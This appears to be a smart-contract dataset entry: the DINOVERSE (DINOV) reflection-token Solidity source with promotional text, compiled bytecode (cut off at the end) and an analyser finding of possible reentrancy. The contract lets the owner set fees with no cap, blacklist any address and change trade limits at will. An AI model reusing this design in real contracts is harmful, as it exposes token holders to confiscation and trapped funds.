18a3565b906114bd565b9050600061182b60646118128a896118a3565b905060006118438261183d8b866116ef565b906116ef565b9992985090965090945050505050565b600080808061186288866118a3565b9050600061187088876118a3565b9050600061187e88886118a3565b905060006118908261183d86866116ef565b939b939a50919850919650505050505050565b6000826118b2575060006106a9565b60006118be8385611d8f565b9050826118cb8583611d6d565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610623565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fd5b803561195881611938565b919050565b6000602080838503121561197057600080fd5b823567ffffffffffffffff8082111561198857600080fd5b818501915085601f83011261199c57600080fd5b8135818111156119ae576119ae611922565b8060051b604051601f19603f830116810181811085821117156119d3576119d3611922565b6040529182528482019250838101850191888311156119f157600080fd5b938501935b82851015611a1657611a078561194d565b845293850193928501926119f6565b98975050505050505050565b600060208083528351808285015260005b81811015611a4f57858101830151858201604001528201611a33565b81811115611a61576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8a57600080fd5b8235611a9581611938565b946020939093013593505050565b600080600060608486031215611ab857600080fd5b8335611ac381611938565b92506020840135611ad381611938565b929592945050506040919091013590565b600060208284031215611af657600080fd5b81356112dc81611938565b8035801515811461195857600080fd5b600060208284031215611b2357600080fd5b6112dc82611b01565b600060208284031215611b3e57600080fd5b5035919050565b60008060008060808587031215611b5b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8c57600080fd5b833567ffffffffffffffff80821115611ba457600080fd5b818601915086601f830112611bb857600080fd5b813581811115611bc757600080fd5b8760208260051b8501011115611bdc57600080fd5b602092830195509350611bf29186019050611b01565b90509250925092565b60008060408385031215611c0e57600080fd5b8235611c1981611938565b91506020830135611c2981611938565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca957611ca9611c7f565b5060010190565b60008219821115611cc357611cc3611c7f565b500190565b600082821015611cda57611cda611c7f565b500390565b600060208284031215611cf157600080fd5b81516112dc81611938565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4c5784516001600160a01b031683529383019391830191600101611d27565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da957611da9611c7f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfa7282badaa32bb19d45ed0ecc8decfa687ade83dba1d392bf6789013d0a1a864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,044 |
0xd10548f05d0579b39d40a7bb233d9aa05e43dc76
|
// SPDX-License-Identifier: Unlicensed
/*
Welcome to the DINOVERSE!
An all-new, unique Metaverse experience … Bringing you back in time to a pre-historic, mesozoic era; a world ruled by mystical and powerful creatures.
$DINOV is the governance token of the DINOVERSE Ecosystem and Metaverse. Buy, trade, explore and engage in this one-of-a-kind experience. We’re bringing you back in time … the opportunities and possibilities are endless. Create your destiny.
*/
// t.me/Dinoversetoken
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DINOV is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DINOVERSE";
string private constant _symbol = "DINOV";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x6A9ff30A683DC7E6cAde212ee6b911743EA8704d);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5e9 * 10**9;
uint256 public _maxWalletSize = 5e9 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount);
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0);
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
}
|
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610595578063c5528490146105b5578063dd62ed3e146105d5578063ea1644d51461061b578063f2fde38b1461063b57600080fd5b80638da5cb5b1461051e5780638f9a55c01461053c57806395d89b41146105525780639e78fb4f1461058057600080fd5b8063790ca413116100dc578063790ca413146104bd5780637c519ffb146104d35780637d1db4a5146104e8578063881dce60146104fe57600080fd5b80636fc3eaec1461045357806370a0823114610468578063715018a61461048857806374010ece1461049d57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d35780634bf2c7c9146103f35780635d098b38146104135780636d8aa8f81461043357600080fd5b80632fd689e314610361578063313ce5671461037757806333251a0b1461039357806338eea22d146103b357600080fd5b806318160ddd116101c157806318160ddd146102e357806323b872dd1461030957806327c8f8351461032957806328bb665a1461033f57600080fd5b806306fdde03146101fe578063095ea7b3146102425780630f3a325f146102725780631694505e146102ab57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600981526844494e4f564552534560b81b60208201525b6040516102399190611dce565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611c79565b61065b565b6040519015158152602001610239565b34801561027e57600080fd5b5061026261028d366004611bc5565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b757600080fd5b506016546102cb906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102ef57600080fd5b50683635c9adc5dea000005b604051908152602001610239565b34801561031557600080fd5b50610262610324366004611c38565b610672565b34801561033557600080fd5b506102cb61dead81565b34801561034b57600080fd5b5061035f61035a366004611ca5565b6106db565b005b34801561036d57600080fd5b506102fb601a5481565b34801561038357600080fd5b5060405160098152602001610239565b34801561039f57600080fd5b5061035f6103ae366004611bc5565b61077a565b3480156103bf57600080fd5b5061035f6103ce366004611dac565b6107e9565b3480156103df57600080fd5b506017546102cb906001600160a01b031681565b3480156103ff57600080fd5b5061035f61040e366004611d93565b61081e565b34801561041f57600080fd5b5061035f61042e366004611bc5565b61084d565b34801561043f57600080fd5b5061035f61044e366004611d71565b6108a7565b34801561045f57600080fd5b5061035f6108ef565b34801561047457600080fd5b506102fb610483366004611bc5565b610919565b34801561049457600080fd5b5061035f61093b565b3480156104a957600080fd5b5061035f6104b8366004611d93565b6109af565b3480156104c957600080fd5b506102fb600a5481565b3480156104df57600080fd5b5061035f6109de565b3480156104f457600080fd5b506102fb60185481565b34801561050a57600080fd5b5061035f610519366004611d93565b610a38565b34801561052a57600080fd5b506000546001600160a01b03166102cb565b34801561054857600080fd5b506102fb60195481565b34801561055e57600080fd5b506040805180820190915260058152642224a727ab60d91b602082015261022c565b34801561058c57600080fd5b5061035f610a82565b3480156105a157600080fd5b506102626105b0366004611c79565b610c67565b3480156105c157600080fd5b5061035f6105d0366004611dac565b610c74565b3480156105e157600080fd5b506102fb6105f0366004611bff565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062757600080fd5b5061035f610636366004611d93565b610ca9565b34801561064757600080fd5b5061035f610656366004611bc5565b610cd8565b6000610668338484610dc2565b5060015b92915050565b600061067f848484610ee6565b6106d184336106cc85604051806060016040528060288152602001611fd3602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906114ae565b610dc2565b5060019392505050565b6000546001600160a01b0316331461070e5760405162461bcd60e51b815260040161070590611e23565b60405180910390fd5b60005b81518110156107765760016009600084848151811061073257610732611f91565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061076e81611f60565b915050610711565b5050565b6000546001600160a01b031633146107a45760405162461bcd60e51b815260040161070590611e23565b6001600160a01b03811660009081526009602052604090205460ff16156107e6576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108135760405162461bcd60e51b815260040161070590611e23565b600b91909155600d55565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161070590611e23565b601155565b6015546001600160a01b0316336001600160a01b03161461086d57600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108d15760405162461bcd60e51b815260040161070590611e23565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461090f57600080fd5b476107e6816114e8565b6001600160a01b03811660009081526002602052604081205461066c90611522565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161070590611e23565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109d95760405162461bcd60e51b815260040161070590611e23565b601855565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161070590611e23565b601754600160a01b900460ff1615610a1f57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a5857600080fd5b610a6130610919565b8111158015610a705750600081115b610a7957600080fd5b6107e681611550565b6000546001600160a01b03163314610aac5760405162461bcd60e51b815260040161070590611e23565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b0c57600080fd5b505afa158015610b20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b449190611be2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8c57600080fd5b505afa158015610ba0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc49190611be2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c0c57600080fd5b505af1158015610c20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c449190611be2565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610668338484610ee6565b6000546001600160a01b03163314610c9e5760405162461bcd60e51b815260040161070590611e23565b600c91909155600e55565b6000546001600160a01b03163314610cd35760405162461bcd60e51b815260040161070590611e23565b601955565b6000546001600160a01b03163314610d025760405162461bcd60e51b815260040161070590611e23565b6001600160a01b038116610d675760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610705565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e245760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610705565b6001600160a01b038216610e855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610705565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610705565b6001600160a01b038216610fac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610705565b6000811161100e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610705565b6001600160a01b03821660009081526009602052604090205460ff16156110475760405162461bcd60e51b815260040161070590611e58565b6001600160a01b03831660009081526009602052604090205460ff16156110805760405162461bcd60e51b815260040161070590611e58565b3360009081526009602052604090205460ff16156110b05760405162461bcd60e51b815260040161070590611e58565b6000546001600160a01b038481169116148015906110dc57506000546001600160a01b03838116911614155b1561135857601754600160a01b900460ff1661113a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610705565b6017546001600160a01b03838116911614801561116557506016546001600160a01b03848116911614155b156111d4576001600160a01b038216301480159061118c57506001600160a01b0383163014155b80156111a657506015546001600160a01b03838116911614155b80156111c057506015546001600160a01b03848116911614155b156111d4576018548111156111d457600080fd5b6017546001600160a01b0383811691161480159061120057506015546001600160a01b03838116911614155b801561121557506001600160a01b0382163014155b801561122c57506001600160a01b03821661dead14155b15611252576019548161123e84610919565b6112489190611ef0565b1061125257600080fd5b600061125d30610919565b601a54909150811180801561127c5750601754600160a81b900460ff16155b801561129657506017546001600160a01b03868116911614155b80156112ab5750601754600160b01b900460ff165b80156112d057506001600160a01b03851660009081526006602052604090205460ff16155b80156112f557506001600160a01b03841660009081526006602052604090205460ff16155b15611355576011546000901561133057611325606461131f601154866116d990919063ffffffff16565b90611758565b90506113308161179a565b61134261133d8285611f49565b611550565b47801561135257611352476114e8565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061139a57506001600160a01b03831660009081526006602052604090205460ff165b806113cc57506017546001600160a01b038581169116148015906113cc57506017546001600160a01b03848116911614155b156113d95750600061149c565b6017546001600160a01b03858116911614801561140457506016546001600160a01b03848116911614155b1561145f576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a54141561145f576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561148a57506016546001600160a01b03858116911614155b1561149c57600d54600f55600e546010555b6114a8848484846117a7565b50505050565b600081848411156114d25760405162461bcd60e51b81526004016107059190611dce565b5060006114df8486611f49565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610776573d6000803e3d6000fd5b600060075482111561153357600080fd5b600061153d6117db565b90506115498382611758565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061159857611598611f91565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115ec57600080fd5b505afa158015611600573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116249190611be2565b8160018151811061163757611637611f91565b6001600160a01b03928316602091820292909201015260165461165d9130911684610dc2565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611696908590600090869030904290600401611e7f565b600060405180830381600087803b1580156116b057600080fd5b505af11580156116c4573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826116e85750600061066c565b60006116f48385611f2a565b9050826117018583611f08565b146115495760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610705565b600061154983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117fe565b6107e63061dead83610ee6565b806117b4576117b461182c565b6117bf848484611871565b806114a8576114a8601254600f55601354601055601454601155565b60008060006117e8611968565b90925090506117f78282611758565b9250505090565b6000818361181f5760405162461bcd60e51b81526004016107059190611dce565b5060006114df8486611f08565b600f5415801561183c5750601054155b80156118485750601154155b1561184f57565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611883876119aa565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118b59087611a07565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546118e49086611a49565b6001600160a01b03891660009081526002602052604090205561190681611aa8565b6119108483611af2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161195591815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006119848282611758565b8210156119a157505060075492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006119c78a600f54601054611b16565b92509250925060006119d76117db565b905060008060006119ea8e878787611b65565b919e509c509a509598509396509194505050505091939550919395565b600061154983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114ae565b600080611a568385611ef0565b9050838110156115495760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610705565b6000611ab26117db565b90506000611ac083836116d9565b30600090815260026020526040902054909150611add9082611a49565b30600090815260026020526040902055505050565b600754611aff9083611a07565b600755600854611b0f9082611a49565b6008555050565b6000808080611b2a606461131f89896116d9565b90506000611b3d606461131f8a896116d9565b90506000611b5582611b4f8b86611a07565b90611a07565b9992985090965090945050505050565b6000808080611b7488866116d9565b90506000611b8288876116d9565b90506000611b9088886116d9565b90506000611ba282611b4f8686611a07565b939b939a50919850919650505050505050565b8035611bc081611fbd565b919050565b600060208284031215611bd757600080fd5b813561154981611fbd565b600060208284031215611bf457600080fd5b815161154981611fbd565b60008060408385031215611c1257600080fd5b8235611c1d81611fbd565b91506020830135611c2d81611fbd565b809150509250929050565b600080600060608486031215611c4d57600080fd5b8335611c5881611fbd565b92506020840135611c6881611fbd565b929592945050506040919091013590565b60008060408385031215611c8c57600080fd5b8235611c9781611fbd565b946020939093013593505050565b60006020808385031215611cb857600080fd5b823567ffffffffffffffff80821115611cd057600080fd5b818501915085601f830112611ce457600080fd5b813581811115611cf657611cf6611fa7565b8060051b604051601f19603f83011681018181108582111715611d1b57611d1b611fa7565b604052828152858101935084860182860187018a1015611d3a57600080fd5b600095505b83861015611d6457611d5081611bb5565b855260019590950194938601938601611d3f565b5098975050505050505050565b600060208284031215611d8357600080fd5b8135801515811461154957600080fd5b600060208284031215611da557600080fd5b5035919050565b60008060408385031215611dbf57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611dfb57858101830151858201604001528201611ddf565b81811115611e0d576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ecf5784